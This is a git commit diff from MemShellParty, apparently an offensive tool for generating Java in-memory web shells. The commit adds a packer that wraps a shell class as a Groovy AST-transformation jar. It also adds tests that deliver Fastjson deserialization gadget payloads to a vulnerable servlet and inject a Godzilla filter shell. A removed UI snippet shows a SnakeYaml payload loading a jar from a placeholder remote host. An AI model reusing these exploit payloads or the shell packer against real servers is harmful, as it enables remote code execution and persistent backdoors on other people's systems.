mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support GroovyTransformJar packer
This commit is contained in:
+26
-4
@@ -11,10 +11,7 @@ import com.reajason.javaweb.memshell.ShellType;
|
|||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.packer.JarPacker;
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.packer.jar.*;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
|
||||||
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
|
|
||||||
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
|
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
|
||||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
@@ -129,6 +126,30 @@ public class ShellAssertion {
|
|||||||
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
|
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
|
||||||
" ]]\n" +
|
" ]]\n" +
|
||||||
"]";
|
"]";
|
||||||
|
} else if (packer.getInstance() instanceof GroovyTransformJarPacker) {
|
||||||
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||||
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
|
Files.write(tempJar, bytes);
|
||||||
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
|
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
|
VulTool.postIsOk(url + "/fastjson", """
|
||||||
|
{
|
||||||
|
"@type":"java.lang.Exception",
|
||||||
|
"@type":"org.codehaus.groovy.control.CompilationFailedException",
|
||||||
|
"unit":{
|
||||||
|
}
|
||||||
|
}""");
|
||||||
|
content = "{\n" +
|
||||||
|
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
|
||||||
|
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
|
||||||
|
" \"config\":{\n" +
|
||||||
|
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
|
||||||
|
" \"classpathList\":[\"file://" + jarPath + "\"]\n" +
|
||||||
|
" },\n" +
|
||||||
|
" \"gcl\":null,\n" +
|
||||||
|
" \"destDir\": \"/tmp\"\n" +
|
||||||
|
"}";
|
||||||
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
|
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
|
||||||
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]";
|
content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]";
|
||||||
@@ -396,6 +417,7 @@ public class ShellAssertion {
|
|||||||
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
|
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
|
||||||
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
|
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
|
||||||
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
||||||
|
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
|
||||||
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
||||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||||
|
|||||||
+1
@@ -54,6 +54,7 @@ public class Tomcat8DeserializeContainerTest {
|
|||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.GroovyTransformJar),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker)
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
+99
@@ -0,0 +1,99 @@
|
|||||||
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/6
|
||||||
|
*/
|
||||||
|
public class ClassAnnotationUtils {
|
||||||
|
|
||||||
|
public static byte[] setAnnotation(byte[] bytes, String annotationClassName) {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, 0);
|
||||||
|
ClassVisitor cv = new AddAnnotationClassVisitor(cw, annotationClassName);
|
||||||
|
cr.accept(cv, 0);
|
||||||
|
return cw.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static class AddAnnotationClassVisitor extends ClassVisitor {
|
||||||
|
private final String annotationClassName;
|
||||||
|
|
||||||
|
public AddAnnotationClassVisitor(ClassVisitor cv, String annotationClassName) {
|
||||||
|
super(Opcodes.ASM9, cv);
|
||||||
|
this.annotationClassName = annotationClassName.replace('.', '/');
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visit(
|
||||||
|
int version, int access, String name,
|
||||||
|
String signature, String superName, String[] interfaces) {
|
||||||
|
|
||||||
|
super.visit(version, access, name, signature, superName, interfaces);
|
||||||
|
super.visitAnnotation(
|
||||||
|
"L" + annotationClassName + ";",
|
||||||
|
true
|
||||||
|
).visitEnd();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<AnnotationInfo> getAnnotations(byte[] classBytes) {
|
||||||
|
ClassReader cr = new ClassReader(classBytes);
|
||||||
|
AnnotationCollectingVisitor cv = new AnnotationCollectingVisitor();
|
||||||
|
cr.accept(cv, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
||||||
|
return cv.getAnnotations();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AnnotationInfo {
|
||||||
|
public final String desc;
|
||||||
|
public final Map<String, Object> values = new HashMap<>();
|
||||||
|
|
||||||
|
public AnnotationInfo(String desc) {
|
||||||
|
this.desc = desc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AnnotationCollectingVisitor extends ClassVisitor {
|
||||||
|
|
||||||
|
private final List<AnnotationInfo> annotations = new ArrayList<>();
|
||||||
|
|
||||||
|
public AnnotationCollectingVisitor() {
|
||||||
|
super(Opcodes.ASM9);
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<AnnotationInfo> getAnnotations() {
|
||||||
|
return annotations;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) {
|
||||||
|
AnnotationInfo info = new AnnotationInfo(descriptor);
|
||||||
|
annotations.add(info);
|
||||||
|
|
||||||
|
return new AnnotationVisitor(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public void visit(String name, Object value) {
|
||||||
|
info.values.put(name, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public AnnotationVisitor visitArray(String name) {
|
||||||
|
List<Object> array = new ArrayList<>();
|
||||||
|
info.values.put(name, array);
|
||||||
|
|
||||||
|
return new AnnotationVisitor(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public void visit(String name, Object value) {
|
||||||
|
array.add(value);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+28
@@ -0,0 +1,28 @@
|
|||||||
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/6
|
||||||
|
*/
|
||||||
|
class ClassAnnotationUtilsTest {
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void test() {
|
||||||
|
String interfaceName = "javax.script.ScriptEngineFactory";
|
||||||
|
byte[] bytes = new ByteBuddy().redefine(ClassInterfaceUtilsTest.EmptyInterface.class).make().getBytes();
|
||||||
|
List<ClassAnnotationUtils.AnnotationInfo> rawAnnotations = ClassAnnotationUtils.getAnnotations(bytes);
|
||||||
|
byte[] newBytes = ClassAnnotationUtils.setAnnotation(bytes, interfaceName);
|
||||||
|
List<ClassAnnotationUtils.AnnotationInfo> annotations = ClassAnnotationUtils.getAnnotations(newBytes);
|
||||||
|
assertEquals(0, rawAnnotations.size());
|
||||||
|
assertEquals(1, annotations.size());
|
||||||
|
assertEquals("Ljavax/script/ScriptEngineFactory;", annotations.get(0).desc);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -177,6 +177,7 @@ public enum Packers {
|
|||||||
|
|
||||||
Jar(new DefaultJarPacker()),
|
Jar(new DefaultJarPacker()),
|
||||||
ScriptEngineJar(new ScriptEngineJarPacker()),
|
ScriptEngineJar(new ScriptEngineJarPacker()),
|
||||||
|
GroovyTransformJar(new GroovyTransformJarPacker()),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
;
|
;
|
||||||
|
|||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassAnnotationUtils;
|
||||||
|
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.jar.JarEntry;
|
||||||
|
import java.util.jar.JarOutputStream;
|
||||||
|
import java.util.jar.Manifest;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/6
|
||||||
|
*/
|
||||||
|
public class GroovyTransformJarPacker implements JarPacker {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(JarPackerConfig config) {
|
||||||
|
String mainClassName = config.getMainClassName();
|
||||||
|
byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
|
||||||
|
mainClassBytes = ClassInterfaceUtils.addInterface(mainClassBytes, "org.codehaus.groovy.transform.ASTTransformation");
|
||||||
|
mainClassBytes = ClassAnnotationUtils.setAnnotation(mainClassBytes, "org.codehaus.groovy.transform.GroovyASTTransformation");
|
||||||
|
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(mainClassBytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
|
||||||
|
targetJar.putNextEntry(new JarEntry("META-INF/services/org.codehaus.groovy.transform.ASTTransformation"));
|
||||||
|
targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8));
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -31,6 +31,8 @@ dependencies {
|
|||||||
implementation("org.yaml:snakeyaml:1.27")
|
implementation("org.yaml:snakeyaml:1.27")
|
||||||
implementation("com.alibaba:fastjson:1.2.47")
|
implementation("com.alibaba:fastjson:1.2.47")
|
||||||
implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0")
|
implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0")
|
||||||
|
implementation("org.codehaus.groovy:groovy:3.0.6")
|
||||||
|
implementation("com.alibaba:fastjson:1.2.80")
|
||||||
implementation("xalan:xalan:2.7.2")
|
implementation("xalan:xalan:2.7.2")
|
||||||
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
import com.alibaba.fastjson.JSONObject;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.annotation.WebServlet;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/06
|
||||||
|
*/
|
||||||
|
@WebServlet("/fastjson")
|
||||||
|
public class FastjsonServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
try {
|
||||||
|
JSONObject.parse(data);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
import com.alibaba.fastjson.JSONObject;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/6
|
||||||
|
*/
|
||||||
|
class FastjsonServletTest {
|
||||||
|
@Test
|
||||||
|
void test() {
|
||||||
|
String json = "{\n" +
|
||||||
|
" \"@type\":\"java.lang.Exception\",\n" +
|
||||||
|
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
|
||||||
|
" \"unit\":{\n" +
|
||||||
|
" }\n" +
|
||||||
|
"}";
|
||||||
|
|
||||||
|
try {
|
||||||
|
JSONObject.parse(json);
|
||||||
|
} catch (Exception e) {
|
||||||
|
//e.printStackTrace();
|
||||||
|
}
|
||||||
|
String data = "{\n" +
|
||||||
|
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
|
||||||
|
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
|
||||||
|
" \"config\":{\n" +
|
||||||
|
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
|
||||||
|
" \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" +
|
||||||
|
" },\n" +
|
||||||
|
" \"gcl\":null,\n" +
|
||||||
|
" \"destDir\": \"/tmp\"\n" +
|
||||||
|
"}";
|
||||||
|
// JSONObject.parse(data);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -30,7 +30,7 @@ export function JarResult({
|
|||||||
<ol className="list-decimal list-inside space-y-4 text-sm">
|
<ol className="list-decimal list-inside space-y-4 text-sm">
|
||||||
<li className="flex items-center justify-between">
|
<li className="flex items-center justify-between">
|
||||||
<span>
|
<span>
|
||||||
{t("common:download")} shell.jar (
|
{t("common:download")} {packMethod}Shell.jar (
|
||||||
{formatBytes(atob(packResult).length)})
|
{formatBytes(atob(packResult).length)})
|
||||||
</span>
|
</span>
|
||||||
<Button
|
<Button
|
||||||
@@ -50,28 +50,8 @@ export function JarResult({
|
|||||||
</Button>
|
</Button>
|
||||||
</li>
|
</li>
|
||||||
<Separator />
|
<Separator />
|
||||||
{isPureJar ? (
|
|
||||||
<>
|
|
||||||
<li>{t("memshell:tips.download-jar")}</li>
|
<li>{t("memshell:tips.download-jar")}</li>
|
||||||
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
|
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
|
||||||
</>
|
|
||||||
) : (
|
|
||||||
<>
|
|
||||||
<li>{t("memshell:tips.download-jar")}</li>
|
|
||||||
<li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
|
|
||||||
<CodeViewer
|
|
||||||
code={`!!javax.script.ScriptEngineManager [
|
|
||||||
!!java.net.URLClassLoader [[
|
|
||||||
!!java.net.URL ["http://yourhost/shell.jar"]
|
|
||||||
]]
|
|
||||||
]`}
|
|
||||||
language="java"
|
|
||||||
showLineNumbers={false}
|
|
||||||
wrapLongLines={true}
|
|
||||||
header={<div className="text-xs">SnakeYaml Payload</div>}
|
|
||||||
/>
|
|
||||||
</>
|
|
||||||
)}
|
|
||||||
</ol>
|
</ol>
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
|||||||
Reference in New Issue
Block a user